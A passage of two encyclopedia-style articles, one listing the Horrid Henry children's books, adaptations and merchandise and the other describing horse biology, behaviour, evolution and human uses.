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          Horrid Henry is also now also an animated TV series (Season 1: 52 x 10 minute shows). In May 2006 the CITV Channel announced that an animated TV series based on the Horrid Henry books had been commissioned from Novel Entertainment (see also Fimbles and The Roly Mo Show). The series is being launched on TV in Germany, France and Scandinavia in 2008, the series made its debut on Halloween 2006 and episodes have had have slightly different plots in contrast to the stories in the books. Season 2 (another 52 x 10 minute shows) is now in production and will be broadcast at the end of 2008.


          In April 2008 'Horrid Henry and the Abominable Snowman' won the Galaxy Children's book of the Year Award.


          Henry stars in his own stage play Horrid Henry - Live and Horrid!, produced by Watershed Productions in association with Sheffield Theatres and adapted by playwright John Godber. The production opens at the Lyceum Theatre (Sheffield) on August 28 and runs there until September 13, before embarking on a UK tour which includes Newcastle, Edinburgh, Hull, Bradford, Liverpool, High Wycombe and Bromley. Steven Butler will play the role of Horrid Henry.


          


          Characters


          


          Books


          [bookmark: 1._Horrid_Henry]


          1. Horrid Henry


          The stories in this book are: Horrid Henry's Perfect Day, Horrid Henry's Dance Class, Horrid Henry and Moody Margaret & Horrid Henry's Holiday. Published 1993


          [bookmark: 2._Horrid_Henry_and_The_Secret_Club]


          2. Horrid Henry and The Secret Club


          The stories in this book are: Horrid Henry's Injection, Perfect Peter's Horrid Day, Horrid Henry's Birthday Party & Horrid Henry and The Secret Club. Published 1994


          [bookmark: 3._Horrid_Henry_Tricks_The_Tooth_Fairy]


          3. Horrid Henry Tricks The Tooth Fairy


          The stories in this book are: Horrid Henry Tricks The Tooth Fairy, Horrid Henry's Wedding, Moody Margaret Moves In & Horrid Henry and The New Teacher. Published 1995


          [bookmark: 4._Horrid_Henry.27s_Nits]


          4. Horrid Henry's Nits


          The stories in this book are: Horrid Henry's Nits, Horrid Henry's School Trip, Horrid Henry and The Dinner Guests & Horrid Henry and The Fangmangler. Published 1996


          [bookmark: 5._Horrid_Henry_Gets_Rich_Quick]


          5. Horrid Henry Gets Rich Quick


          The stories in this book are: Horrid Henry Runs Away, Horrid Henry's Sports Day, Horrid Henry Gets Rich Quick & Horrid Henry's Christmas. Published 1997.


          [bookmark: 6._Horrid_Henry.27s_Haunted_House]


          6. Horrid Henry's Haunted House


          The stories in this book are: Horrid Henry and The Comfy Black Chair, Horrid Henry's Haunted House, Horrid Henry's School Fair & Horrid Henry Minds His Manners. Published 1998


          [bookmark: 7._Horrid_Henry_and_The_Mummy.27s_Curse]


          7. Horrid Henry and The Mummy's Curse


          The stories in this book are: Horrid Henry's Hobby, Horrid Henry's Homework, Horrid Henry's Swimming Lesson & Horrid Henry and The Mummy's Curse. Published 1999


          [bookmark: 8._Horrid_Henry.27s_Revenge]


          8. Horrid Henry's Revenge


          The stories in this book are: Horrid Henry's Revenge, Horrid Henry's Computer, Horrid Henry Goes To Work & Horrid Henry and The Demon Dinnerlady. Published 2000


          [bookmark: 9._Horrid_Henry_and_The_Bogey_Babysitter]


          9. Horrid Henry and The Bogey Babysitter


          The stories in this book are: Horrid Henry Tricks and Treats, Horrid Henry and The Bogey Babysitter, Horrid Henry's Raid & Horrid Henry's Car Journey. Published 2001


          [bookmark: 10._Horrid_Henry.27s_Stinkbomb]


          10. Horrid Henry's Stinkbomb


          The stories in this book are: Horrid Henry Reads A Book, Horrid Henry's Stinkbomb, Horrid Henry's School Project & Horrid Henry's Stinkbomb. Published 2002


          [bookmark: 11._Horrid_Henry.27s_Underpants]


          11. Horrid Henry's Underpants


          The stories in this book are: Horrid Henry Eats A Vegetable, Horrid Henry's Underpants, Horrid Henry's Sick Day & Horrid Henry's Thank You Letter. Published 2003


          [bookmark: 12._Horrid_Henry_Meets_The_Queen]


          12. Horrid Henry Meets The Queen


          The stories in this book are: Horrid Henry's Chores, Moody Margaret Casts A Spell, Horrid Henry's Bathtime & Horrid Henry Meets The Queen. Published 2004


          [bookmark: 13._Horrid_Henry_and_The_Mega-Mean_Time_Machine]


          13. Horrid Henry and The Mega-Mean Time Machine


          The stories in this book are: Horrid Henry's Hike, Horrid Henry and The Mega-Mean Time Machine, Perfect Peter's Revenge & Horrid Henry Dines At Restaurant Le Posh. Published 2005


          [bookmark: 14._Horrid_Henry_and_The_Football_Fiend]


          14. Horrid Henry and The Football Fiend


          The stories in this book are: Horrid Henry Peeks At Peter's Diary, Horrid Henry's Goes Shopping, Horrid Henry and The Football Fiend & Horrid Henry's Arch Enemy. Published 2006


          [bookmark: 15._Horrid_Henry.27s_Christmas_Cracker]


          15. Horrid Henry's Christmas Cracker


          The stories in this book aree: Horrid Henry's Christmas Play, Horrid Henry's Christmas Presents, Horrid Henry's Ambush & Horrid Henry's Christmas Lunch. Published 2006


          [bookmark: 16._Horrid_Henry_and_The_Abominable_Snowman]


          16. Horrid Henry and The Abominable Snowman


          The stories in this book are: Horrid Henry and The Abominable Snowman, Moody Margaret's Makeover, Horrid Henry's Author Visit & Horrid Henry's Rainy Day. Published 2007


          [bookmark: 17._Horrid_Henry_Robs_The_Bank]


          17. Horrid Henry Robs The Bank


          The stories in this book are: Horrid Henry Robs The Bank, Horrid Henry's School Newspaper & Perfect Peter's Pirate Party. Published 2008


          


          TV Series Activity Books


          1. Horrid Henry's Headscratchers


          2. Horrid Henry's Brainbusters


          3. Horrid Henry's Mindbenders


          4. Horrid Henry's Sticker Book


          5. Horrid Henry's Colouring Book


          6. Horrid Henry's Puzzle Book


          7. Horrid Henry's Crazy Crosswords


          8. Horrid Henry's Wicked Wordsearches


          9. Horrid Henry's Mad Mazes


          10. Horrid Henry's Holiday Havoc


          11. Horrid Henry's Classroom Chaos


          12. Horrid Henry's Sports Survival


          


          Compilation Books


          A Handful of Horrid Henry


          Contains Three Complete Books: Horrid Henry, Horrid Henry and The Secret Club & Horrid Henry Tricks the Tooth Fairy. Published 2000.


          A Helping of Horrid Henry


          Contains Three Complete Books: Horrid Henry's Nits, Horrid Henry Gets Rich Quick & Horrid Henry's Haunted House. Published 2001.


          A Triple Treat of Horrid Henry


          Contains Three Complete Books: Horrid Henry and The Mummy's Curse, Horrid Henry's Revenge & Horrid Henry and The Bogey Babysitter. Published 2003.


          A Giant Slice of Horrid Henry


          Contains Three Complete Books: Horrid Henry's Stinkbomb, Horrid Henry's Underpants & Horrid Henry Meets The Queen. Published 2006.


          A Hat Trick of Horrid Henry


          Contains Three Complete Books: Horrid Henry and The Mega-Mean Time Machine, Horrid Henry and The Football Fiend & Horrid Henry's Christmas Cracker. Published 2007.


          Horrid Henry's Wicked Ways


          Stories comprise: Horrid Henry and The Comfy Black Chair, Horrid Henry and The Fangmangler, Horrid Henry Tricks The Tooth Fairy, Horrid Henry Gets Rich Quick, Horrid Henry's Chores, Horrid Henry Tricks and Treats, Horrid Henry and The Mummy's Curse, Horrid Henry's Birthday Party, Horrid Henry's Thank You Letter & Horrid Henry's Holiday.


          Horrid Henry's Big Bad Book


          Stories comprise: Horrid Henry's New Teacher, Horrid Henry's Nits, Horrid Henry's School Trip, Horrid Henry's Sports Day, Horrid Henry's Homework, Horrid Henry's Swimming Lesson, Horrid Henry and The Demon Dinner Lady, Horrid Henry Reads A Book, Horrid Henry's School Project & Horrid Henry's Underpants.


          Horrid Henry's Evil Enemies


          Stories comprise: Horrid Henry and Moody Margaret, Horrid Henry and The Secret Club, Hrrid Henry's Christmas, Horrid Henry's Haunted House, Moody Margaret Moves In, Horrid Henry's Raid, Horrid Henry Goes To Work, Horrid Henry's Stinkbomb, Moody Margaret Casts A Spell & Horrid Henry and The Bogey Babysitter.


          Horrid Henry Rules The World


          Stories comprise: Horrid Henry's Injection, Horrid Henry's School Fair, Horrid Henry's Dance Class, Horrid Henry's Computer, Horrid Henry Meets The Queen. Perfect Peter's Revenge, Horrid Henry's Sick Day, Horrid Henry and The Football Fiend, Horrid Henry Peeks At Peter's Diary, Horrid Henry's Christmas Play.


          Horrid Henry's House of Horrors


          Stories comprise: Horrid Henry's Christmas Presents, Horrid Henry's Car Journey, Perfect Peter's Horrid Day, Horrid Henry Runs Away, Horrid Henry Eats a Vegetable, Horrid Henry Goes Shopping, Horrid Henry's Hobby, Horrid Henry's Bathtime, Horrid Henry's Perfect Day, Horrid Henry and the Mega-Mean Time Machine.


          


          Joke books


          1. Horrid Henry's Joke Book Published 2006


          2. Horrid Henry's Jolly Joke Book Published 2007


          3. Horrid Henry's Mighty Joke Book Published 2008


          


          Other Horrid Henry books


          Horrid Henry's Annual 2008


          Horrid Henry's Annual 2009


          


          Tapes/CDs


          1. Horrid Henry Audio CD Published 2005


          2. Horrid Henry and The Secret Club Audio CD and Tape Published 2002/2006


          3. Horrid Henry Tricks The Tooth Fairy Audio CD and Tape Published 2001/2005


          4. Horrid Henry's Nits Audio CD and Tape Published 2000/2005.


          5. Horrid Henry Gets Rich Quick Audio CD and Tape Published 2000/2005


          6. Horrid Henry's Haunted House Audio CD and Tape 2000/2005


          7. Horrid Henry and The Mummy's Curse Audio CD and Tape Published 2001/2004


          8. Horrid Henry's Revenge Audio CD and Tape Published 2002/2005


          9. Horrid Henry and The Bogey Babysitter Audio CD and Tape Published 2002/2004


          10. Horrid Henry's Stinkbomb Audio CD and Tape Published 2002/2004


          11. Horrid Henry's Underpants Audio CD and Tape Published 2003/2004


          12. Horrid Henry Meets The Queen Audio CD and Tape Published 2004


          13. Horrid Henry and The Mega-Mean Time Machine Audio CD and Tape Published 2005


          14. Horrid Henry and The Football Fiend Audio CD and Tape Published 2006


          15. Horrid Henry's Christmas Cracker Audio CD and Tape Published 2006


          16. Horrid Henry and The Abominable Snowman Audio CD and Tape Published 2007


          17. Horrid Henry Robs The Bank Audio CD Published 2008


          



          Music is covered by Peter Rinne and Dik Cadbury, all CD/Tapes narrated by Miranda Richardson, produced by Peter Rinne and Nicholas Jones, cover illustrations by Tony Ross


          


          Albums


          On 25 August 2008 a Horrid Henry album entitled Horrid Henry's Most Horrible Album was released, featuring two discs of Horrid Henry songs including the theme tune.


          


          Toys and games


          Horrid Henry merchandise includes "Splat Attack Game", "Triple Trouble Bubble Blaster", "Scary Sounds Machine", "6 Figure Collection Pack", "Voice Changer" and a practical jokes set.


          


          Inconsistencies between books


          
            	In 'Horrid Henry & the Mummy's Curse' ('Horrid Henry's Hobby'), Peter says that his favourite vegetable is beetroot, whereas in 'Horrid Henry and the Mega-Mean Time Machine' ('Horrid Henry Dines at Restaurant Le Posh') he refuses to eat beetroot.


            	In 'Horrid Henry's Holiday', Henry likes swimming. Seven books later, he hates it.


            	In 'Horrid Henry's Bathtime', Henry loves baths. Whereas in 'Horrid Henry's Diary', it said he hated baths.


            	In 'Horrid Henry and the Bogey Babysitter', Mum says that bedtime is 9:00, whereas in 'Horrid Henry's Bedtime', it is one hour back (8:00pm) (However, it could be argued that it was made earlier due to Henry's bad behaviour). The television episode 'Horrid Henry's Diary' also gives his bedtime as 8.00pm.

          


          


          TV series
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              	Equus caballus

              Linnaeus, 1758
            

          


          The horse (Equus caballus, sometimes seen as a subspecies of the Wild Horse, Equus ferus caballus) is a large odd-toed ungulate mammal, one of ten modern species of the genus Equus. Horses have long been among the most economically important domesticated animals; although their importance has declined with mechanization, they are still found worldwide, fitting into human lives in various ways. The horse is prominent in religion, mythology, and art; it has played an important role in transportation, agriculture, and war; it has additionally served as a source of food, fuel, and clothing.


          Almost all breeds of horses can, at least in theory, carry humans on their backs or be harnessed to pull objects such as carts or plows. However, horse breeds were developed to allow horses to be specialized for certain task; lighter horses for racing or riding, heavier horses for farming and other tasks requiring pulling power. In some societies, horses are a source of food, both meat and milk; in others it is taboo to consume them. In industrialized countries horses are predominantly kept for leisure and sporting pursuits, while they are still used as working animals in many other parts of the world.


          


          Biology
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          Age


          Depending on breed, management and environment, the domestic horse today has a life expectancy of 25 to 30 years. It is uncommon, but a few horses live into their 40s, and, occasionally, beyond. The oldest verifiable record was "Old Billy," a horse that lived in the 19th century to the age of 62.


          The following terminology is used to describe horses of various ages:


          
            	Foal: a horse of either sex less than one year old. A nursing foal is sometimes called a suckling and a foal that has been weaned is called a weanling. Most foals are weaned at 4-6 months of age.


            	Yearling: a horse of either sex that is between one and two years old.


            	Colt: a male horse under the age of four.


            	Filly: a female horse under the age of four.


            	Mare: a female horse four years old and older.


            	Stallion: a non-castrated male horse four years old and older. Some people, particularly in the UK, refer to a stallion as a "horse."


            	Gelding: A castrated male horse of any age, though for convenience sake, many people also refer to a young gelding under the age of four as a "colt."

          


          In horse racing the definitions of colt, filly, mare, and stallion or horse may differ from those given above. In the United Kingdom, Thoroughbred horse racing defines a colt as a male horse less than five years old and a filly as a female horse less than five years old. In the USA, both Thoroughbred racing and harness racing defines colts and fillies as four years old and younger.


          


          Size


          The size of horses varies by breed, but can also be influenced by nutrition. The general rule for cutoff in height between what is considered a horse and a pony at maturity is 14.2 hands(h or hh) (147 cm, 58 inches) as measured at the withers. An animal 14.2h or over is usually considered a horse and one less than 14.2h is a pony.


          However, there are exceptions to the general rule. Some smaller horse breeds who typically produce individual horses both under and over 14.2h are considered "horses" regardless of height. Likewise, some pony breeds, such as the Pony of the Americas or the Welsh cob, share some features of horses and individual animals may occasionally mature at over 14.2h, but are still considered ponies.


          The difference between a horse and pony is not simply a height difference, but also a difference in phenotype or appearance. There are noticeable differences in conformation and temperament. Ponies often exhibit thicker manes, tails and overall coat. They also have proportionally shorter legs, wider barrels, heavy bone, thick necks, and short heads with broad foreheads.


          Light horses such as Arabians, Morgans, Quarter Horses, Paints and Thoroughbreds usually range in height from 14.0 (142 cm) to 16.0 hands (163 cm) and can weigh from 386 kilograms (850 lbs) to about 680 kg (1500 lbs). Heavy or draft horses such as the Clydesdale, Belgian, Percheron, and Shire are usually at least 16.0 (163 cm) to 18.0 hands (183 cm) high and can weigh from about 682 kg (1500 lb) up to about 900 kg (2000 lb). Ponies are less than 14.2h, but can be much smaller, down to the Shetland pony at around 10 hands, and the Falabella which can be the size of a medium-sized dog. The miniature horse is as small as or smaller than either of the aforementioned ponies but are classified as very small horses rather than ponies despite their size.


          The largest horse in history was a Shire horse named Sampson, later renamed Mammoth, foaled in 1846 in Bedfordshire, England. He stood 21.2 hands high (i.e. 7 ft 2 in or 2.20 m ), and his peak weight was estimated at over 3,300 lb (approx 1.5 tonnes). The current record holder for the world's smallest horse is Thumbelina, a fully mature miniature horse affected by dwarfism. She is 17 inches tall and weighs 60 pounds.


          


          Reproduction and development


          Pregnancy lasts for approximately 335-340 days and usually results in one foal (male: colt, female: filly). Twins are rare. Colts are usually carried 2-7 days longer than fillies. Females 4 years and over are called mares and males are stallions. A castrated male is a gelding. Horses, particularly colts, may sometimes be physically capable of reproduction at approximately 18 months but in practice are rarely allowed to breed until a minimum age of 3 years, especially females. Horses four years old are considered mature, though the skeleton usually finishes developing at the age of six, and the precise time of completion of development also depends on the horse's size (therefore a connection to breed exists), gender, and the quality of care provided by its owner. Also, if the horse is larger, its bones are larger; therefore, not only do the bones take longer to actually form bone tissue (bones are made of cartilage in earlier stages of bone formation), but the epiphyseal plates (plates that fuse a bone into one piece by connecting the bone shaft to the bone ends) are also larger and take longer to convert from cartilage to bone as well. These plates convert after the other parts of the bones do but are crucial to development.


          Depending on maturity, breed and the tasks expected, young horses are usually put under saddle and trained to be ridden between the ages of two and four. Although Thoroughbred and American Quarter Horse race horses are put on the track at as young as two years old in some countries (notably the United States), horses specifically bred for sports such as show jumping and dressage are generally not entered into top-level competition until a minimum age of four years old, because their bones and muscles are not solidly developed, nor is their advanced training complete.


          


          Anatomy


          Horses have, on average, a skeleton of 205 bones. A significant difference in the bones contained in the horse skeleton, as compared to that of a human, is the lack of a collarbone--their front limb system is attached to the spinal column by a powerful set of muscles, tendons and ligaments that attach the shoulder blade to the torso. The horse's legs and hooves are also unique, interesting structures. Their leg bones are proportioned differently from those of a human. For example, the body part that is called a horse's "knee" is actually the carpal bones that correspond to the human wrist. Similarly, the hock, contains the bones equivalent to those in the human ankle and heel. The lower leg bones of a horse correspond to the bones of the human hand or foot, and the fetlock (incorrectly called the "ankle") is actually the proximal sesamoid bones between the cannon bones (a single equivalent to the human metacarpal or metatarsal bones) and the proximal phalanges, located where one finds the "knuckles" of a human. A horse also has no muscles in its legs below the knees and hocks, only skin and hair, bone, tendons, ligaments, cartilage, and the assorted specialized tissues that make up the hoof (see section hooves, below).


          


          Digestion


          A horse is a herbivore with a digestive system adapted to a forage diet of grasses and other plant material, consumed regularly throughout the day, and so they have a relatively small stomach but very long intestines to facilitate a steady flow of nutrients. A 1000 pound horse will eat between 15 and 25 pounds of food per day and, under normal use, drink 10 to 12 gallons of water. Horses are not ruminants, so they have only one stomach, like humans, but unlike humans, they can also digest cellulose from grasses due to the presence of a "hind gut" called the cecum, or "water gut," that food goes through before reaching the large intestine. Unlike humans, horses cannot vomit, so digestion problems can quickly spell trouble, with colic a leading cause of death.


          


          Teeth


          Horses are adapted to grazing, so their teeth continue to grow throughout life. There are 12 teeth (six upper and six lower), the incisors, adapted to biting off the grass or other vegetation, at the front of the mouth, and 24 teeth, the premolar and molars, adapted for chewing, at the back of the mouth. Stallions and geldings have four additional teeth just behind the incisors, a type of canine teeth that are called "tushes." Some horses, both male and female, will also develop one to four very small vestigial teeth in front of the molars, known as "wolf" teeth, which are generally removed because they can interfere with the bit.


          There is an empty interdental space between the incisors and the molars where the bit rests directly on the bars (gums) of the horse's mouth when the horse is bridled.


          The incisors show a distinct wear and growth pattern as the horse ages, as well as change in the angle at which the chewing surfaces meet, and while the diet and veterinary care of the horse can affect the rate of tooth wear, a very rough estimate of the age of a horse can be made by looking at its teeth.


          


          Hooves


          The critical importance of the feet and legs is summed up by the traditional adage, "no foot, no horse." The horse hoof begins with the distal phalanges, the equivalent of the human fingertip or tip of the toe, surrounded by cartilage and other specialized, blood-rich soft tissues such as the laminae, with the exterior hoof wall and horn of the sole made essentially of the same material as a human fingernail. The end result is that a horse, weighing on average 1,000 pounds, travels on the same bones as a human on tiptoe. For the protection of the hoof under certain conditions, some horses have horseshoes placed on their feet by a professional farrier. The hoof continually grows, just like a large fingernail, and needs to be trimmed (and horseshoes reset, if used) every six to eight weeks.


          


          Senses
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          The senses of a horse are generally superior to those of a human. As prey animals, they must be aware of their surroundings at all times. They have very large eyes (among land animals only the ostrich has a larger eye), with excellent day and night vision, though they may have a limited range of colour vision. The side positioning of the eyes gives the horse a wide field of vision of about 350. While not colour-blind, studies indicate that they have difficulty distinguishing greens, browns and grays. Their hearing is good, and the pinna of their ears can rotate a full 360 degrees in order to pick up sound from any direction. Their sense of smell, while much better than that of humans, is not their strongest asset; they rely to a greater extent on vision.


          A horse's sense of balance is outstanding; the cerebellum of their brain is highly developed and they are very aware of terrain and placement of their feet. Horses' sense of touch is better developed than many people think; they immediately notice when a fly or mosquito lands on them, even before the insect attempts to bite. Their sense of taste is well-developed in order to determine the nature of the plants they are eating, and their prehensile lips can easily sort even the smallest grains. Horses will seldom eat most poisonous plants or spoiled food unless they have no other choices, although a few toxic plants have a chemical structure that appeals to animals, and thus poses a greater risk of being ingested.


          


          Behaviour


          Horses are prey animals with a well-developed fight-or-flight instinct. Their first response to threat is to flee, although they are known to stand their ground and defend themselves or their offspring in cases where flight is not possible, such as when a foal would be threatened. Through selective breeding, some breeds of horses have been bred to be quite docile, particularly certain large draft horses. However, most light horse riding breeds were developed for speed, agility, alertness and endurance; natural qualities that extend from their wild ancestors.


          Horses are herd animals, with a clear hierarchy of rank, led by a dominant animal (usually a mare). Horses are also social creatures who are able to form companionship attachments to their own species and to other animals, including humans. They communicate in various ways, including vocalizations such as nickering or whinnying, mutual grooming, and body language. Many horses will become flighty and hard to manage if they are isolated. When this behaviour occurs while being handled by human, the horse is called being "herd-bound". However, through proper training, it is possible to teach any horse to be comfortable away from the herd.


          When confined with insufficient companionship, exercise or stimulation, horses may develop stable vices, an assortment of bad habits, mostly psychological in origin, that include wood chewing, wall kicking, "weaving" (rocking back and forth) and other problems.


          


          Sleep patterns
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          Horses are able to sleep both standing up and lying down. They are able to doze and enter light sleep while standing, an adaptation from life as a prey animal in the wild. Lying down makes an animal more vulnerable to predators. Horses are able to sleep standing up because a "stay apparatus" in their legs allows them to relax their muscles and doze without collapsing.


          Unlike humans, horses do not need a solid, unbroken period of sleep time. They obtain needed sleep by means of many short periods of rest. Horses may spend anywhere from four to fifteen hours a day in standing rest, and from a few minutes to several hours lying down. However, not all this time is the horse actually asleep; total sleep time in a day may range from several minutes to a couple of hours. Horses require approximately two and a half hours of sleep, on average, in a 24-hour period. Most of this sleep occurs in many short intervals of about 15 minutes each.
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          Horses must lie down to reach REM sleep. They only have to lie down for an hour or two every few days to meet their minimum REM sleep requirements. However, if a horse is never allowed to lie down, after several days it will become sleep-deprived, and in rare cases may suddenly collapse as it involuntarily slips into REM sleep while still standing. This condition differs from narcolepsy, though horses may also suffer from that disorder.


          Horses sleep better when in groups because some animals will sleep while others stand guard to watch for predators. A horse kept entirely alone will not sleep well because its instincts are to keep a constant eye out for danger.


          


          Gaits
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          All horses move naturally with four basic gaits; the walk, trot or jog, canter or lope, and gallop.


          Besides these basic gaits, there are many additional "ambling" or "single-foot" gaits such as pace, slow gait, rack, fox trot running walk, and tlt. These special gaits are often found in specific breeds, often referred to as "gaited" horses because they naturally possess additional gaits that are approximately the same speed as the trot but smoother to ride. Technically speaking the so called "gaited horses" replace the standard trot which is a 2 beat gait with a four beat gait (as opposed to the canter/lope and gallop which are three beat gaits).


          Horse breeds with additional gaits that often occur naturally include the Tennessee Walking Horse which naturally performs a running walk, the American Saddlebred which can easily be trained to exhibit a slow gait and the rack, the Paso Fino horse with the paso corto and paso largo, and Icelandic horses which are known for the tlt. The fox trot is found in several breeds, most notably the Missouri Foxtrotter. Standardbreds, depending on bloodlines and training, may either pace or trot.


          


          Horse Care


          Horses are animals that evolved to graze. Therefore, they eat grass or hay, sometimes supplemented with grain. Although horses are adapted to live outside, they require shelter from the wind and rain. Horses require annual vaccinations to protect against various diseases, need routine hoof care by a farrier, and regular dental examinations from a veterinarian or a specialized equine dentist. If horses are kept inside in a barn, they require regular daily exercise for their physical health and mental well-being.


          


          Evolution
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          The horse as it is known today adapted by evolution to survive in areas of wide-open terrain with sparse vegetation, surviving in an ecosystem where other large grazing animals, especially ruminants, could not.


          Horses and other equids are odd-toed ungulates of the order Perissodactyla, a relatively ancient group of browsing and grazing animals that first arose less than 10 million years after the dinosaurs became extinct. In the past, this order contained twelve families, but only three families Equidae (the horse and related species), the tapir and the rhinoceroshave survived to the present day. The earliest equids known as Hyracotherium developed approximately 54 million years ago, during the Eocene period. One of the first true horse species, it had 4 toes on each front foot, and 3 toes on each back foot. By the Pleistocene era, as the horse adapted to a drier, prairie environment, the 2nd and 4th toes disappeared on all feet, and horses became bigger. These side toes first shrunk in size until they have vanished in modern horses. All that remains are a set of small vestigial bones on either side of the cannon ( metacarpal or metatarsal) bone, known informally as splint bones, which are a frequent source of splints, a common injury in the modern horse. Their legs also lengthened as their toes disappeared and until they were a hoofed animal capable of running at great speed.


          Over millions of years, equid teeth also evolved from browsing on soft, tropical plants to adapt to browsing of drier plant material, and grazing of tougher plains grasses. Thus the proto-horses changed from leaf-eating forest-dwellers to grass-eating inhabitants of semi-arid regions worldwide, including the steppes of Eurasia and the Great Plains of North America. For reasons not fully understood, Equus caballus disappeared from North America around 10,000 years ago, at the end of the last Ice Age.


          


          Domestication and surviving wild species


          Competing theories exist as to the time and place of initial domestication. The earliest evidence for the domestication of the horse comes from Central Asia and dates to approximately 4,500 BC. Archaeological finds such as the Sintashta chariot burials provided unequivocal evidence that the horse was definitely domesticated by 2000 BC.


          


          Wild prototypes and modern species


          Most "wild" horses today are actually feral horses (see feral horses, below), animals that had domesticated ancestors but were themselves born and live in the wild, often for generations. However, there are also some truly wild horses whose ancestors were never successfully domesticated.


          


          The "Four Foundations" theory


          
            [image: Przewalski's Horse, the last surviving wild horse species]

            
              Przewalski's Horse, the last surviving wild horse species
            

          


          There is a theory that there were four basic "proto" horses that developed with adaptations to their environment prior to domestication. There are competing theories, some arguing that the prototypes were separate species, others suggesting that the prototypes were physically different manifestations of the same species. Either way, the most common theories of historical wild species from which other types are thought to have developed suggests the following base prototypes:


          
            	The "Warmblood subspecies" or "Forest Horse" (Equus ferus silvaticus, also called the Diluvial Horse), thought to have evolved into Equus ferus germanicus, and which may have contributed to the development of the warmblood horses of northern Europe, as well as older "heavy horses" such as the Ardennais.


            	The "Draft" subspecies, a small, sturdy, heavyset animal with a heavy hair coat, arising in northern Europe, adapted to cold, damp climates, somewhat resembling today's draft horse and even the Shetland pony


            	The "Oriental" subspecies, a taller, slim, refined and agile animal arising in western Asia, adapted to hot, dry climates, thought to be the progenitor of the modern Arabian horse and Akhal-Teke


            	The "Tarpan subspecies," dun-colored, sturdy animal, the size of a large pony, adapted to the cold, dry climates of northern Asia, the predecessor to the Tarpan and Przewalski's Horse as well as the domesticated Mongolian horse.

          


          


          Species surviving into modern times


          The tarpan, Equus ferus ferus, survived into the historical era, but became extinct in 1880. Its genetic line is lost, but its phenotype has been recreated by a " breeding back" process, in which living domesticated horses with primitive features were repeatedly interbred. Thanks to the efforts of the brothers Lutz Heck (director of the Berlin zoo) and Heinz Heck (director of Munich Tierpark Hellabrunn), the resulting Heck horse together with the Konik resembles the tarpan more closely than any other living horse.


          Przewalski's Horse (Equus ferus przewalskii), a rare Asian species, is the only true wild horse alive today. Also known as the Mongolian Wild Horse, Mongolians know it as the taki, while the Kirghiz people call it a kirtag. Small wild breeding populations of this animal, named after the Russian explorer Przewalski, exist in Mongolia. There are also small populations maintained at zoos throughout the world. After a battle against extinction, the Przewalksi's Horse is finally flourishing in the wild once again.


          Other truly wild equids alive today include the zebra and the onager.


          


          Feral horses
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          Feral animals, who had domesticated ancestors but were born and live in the wild, are distinct from wild animals, whose ancestors have never undergone domestication. Several populations of feral horses exist, including those in the western United States and Canada (often called " mustangs"), and in parts of Australia (" brumbies") and New Zealand (" Kaimanawa horses"). Isolated feral populations are often named for their geographic location: Namibia has its Namib Desert Horses; the Sorraia lives in Spain and Portugal; Sable Island Horses reside in Nova Scotia, Canada; and New Forest ponies have been part of Hampshire, England for a thousand years.


          Studies of feral horses have provided useful insights into the behaviour of ancestral wild horses, as well as greater understanding of the instincts and behaviours that drive horses.


          


          Other modern equids


          Other members of the horse family include zebras, donkeys, and onagers. The Donkey, Burro or Domestic Ass, Equus asinus, like the horse, has many breeds. A mule is a hybrid of a male ass (jack) and a mare, and is usually infertile. A hinny is the less common hybrid of a female ass (jenny) and a stallion. Breeders have also tried crossing various species of zebra with mares or female asses to produce "zebra mules" ( zorses, and zonkeys (also called zedonks)). This will probably remain a novelty hybrid as these individuals tend to inherit some of the undomesticated nature of their zebra parent, but they may inherit the zebra's resistance to nagana pest: zorses, also called zebroids, have been used in Central African game parks for light haulage.


          


          Horses within the human economy


          Around the world, horses play a role within human economies, for leisure, sport and working purposes. To cite one example, the American Horse Council estimates that horse-related activities have a direct impact on the economy of the United States of over $39 billion, and when indirect spending is considered, the impact is over $102 billion.


          In wealthier, First World, industrialized economies, horses are primarily used in recreational pursuits and competitive sports, though they also have practical uses in police work, cattle ranching, search and rescue, and other duties where terrain or conditions preclude use of motorized vehicles. In poorer, Third World economies, they may also be used for recreational purposes by the elite population, but serve a much wider role in working pursuits including farming, ranching and as a means of transportation. To a very limited extent, they are also still used in warfare, particularly in regions of extremely rugged terrain.


          


          Sport
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          Horses are trained to be ridden or driven in many different sporting events and competitions. Examples include horse shows, gymkhana and O-Mok-See, rodeos, endurance riding, fox hunting, and Olympic-level events such as three-day eventing, combined driving, dressage, and show jumping. Although scoring varies by event, most emphasize the horse's speed, maneuverability, obedience and/or precision. Sometimes the equitation, the style and ability of the rider, is also considered.


          Sports such as polo and horseball do not judge the horse itself, but rather use the horse as a partner for human competitors as a necessary part of the game. Although the horse assists this process and requires specialized training to do so, the details of its performance are not judged, only the result of the rider's actions -- be it getting a ball through a goal or some other achievement. Examples of these sports of partnership between human and animal also include jousting (reenacting the skills used by medieval knights), where the main goal is for one rider to dismount the other, and buzkashi, a team game played throughout Central Asia, the aim being to capture a goat carcass while on horseback.


          The most widely known use of horses for sport is horse racing, seen in almost every nation in the world. There are three types: "flat" racing; steeplechasing, i.e. racing over jumps; and harness racing, where horses trot or pace while pulling a driver in a small, light cart known as a sulky. Most race horses in the developed world are Thoroughbreds, a breed which can reach speeds up to 40 mph/70 km/h. In the case of a specialized sprinting breed, the American Quarter Horse, speeds over 50 mph have been clocked. In harness racing, performed by Standardbred horses, speeds over 30 mph have been measured. A major part of the economic importance of horse racing, as for many sports, lies in the gambling associated with it.


          


          Work
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          There are certain jobs that horses do very well, and no amount of technology appears able to supersede. Mounted police horses are still effective for crowd control. Cattle ranches still require riders on horseback to round up cattle that are scattered across remote, rugged terrain. Search and rescue organizations in some countries depend upon mounted teams to locate people, particularly hikers and hunters, who are lost in remote areas.


          Some land management practices such as logging can be more efficiently managed with horses, to avoid vehicular disruption to delicate soil in areas such as a nature reserve. Forestry rangers may use horses for their patrols.


          In poor countries such as Romania, Kyrgyzstan, and many parts of the Third World, horses, donkeys and mules are routinely used for transport and agriculture. In areas where roads are poor or non-existent and fossil fuels are scarce or the terrain rugged, riding horseback is still the most efficient way to get from place to place.


          


          Entertainment and culture


          Modern horses are often used to re-enact their historical work purpose. One famous example is the Budweiser Clydesdales. This team of draft horses pull a beer wagon in a manner similar to that used prior to the invention of the modern motorized truck.


          Horses are used, complete with equipment that is authentic or a meticulously recreated replica, in various historical reenactments of specific periods of history, and especially famous battles. Popular subjects include American Revolutionary War and Civil War reenactments, as well as battles of the 19th century between the U.S. Cavalry and Native Americans, such as the Battle of the Little Bighorn.


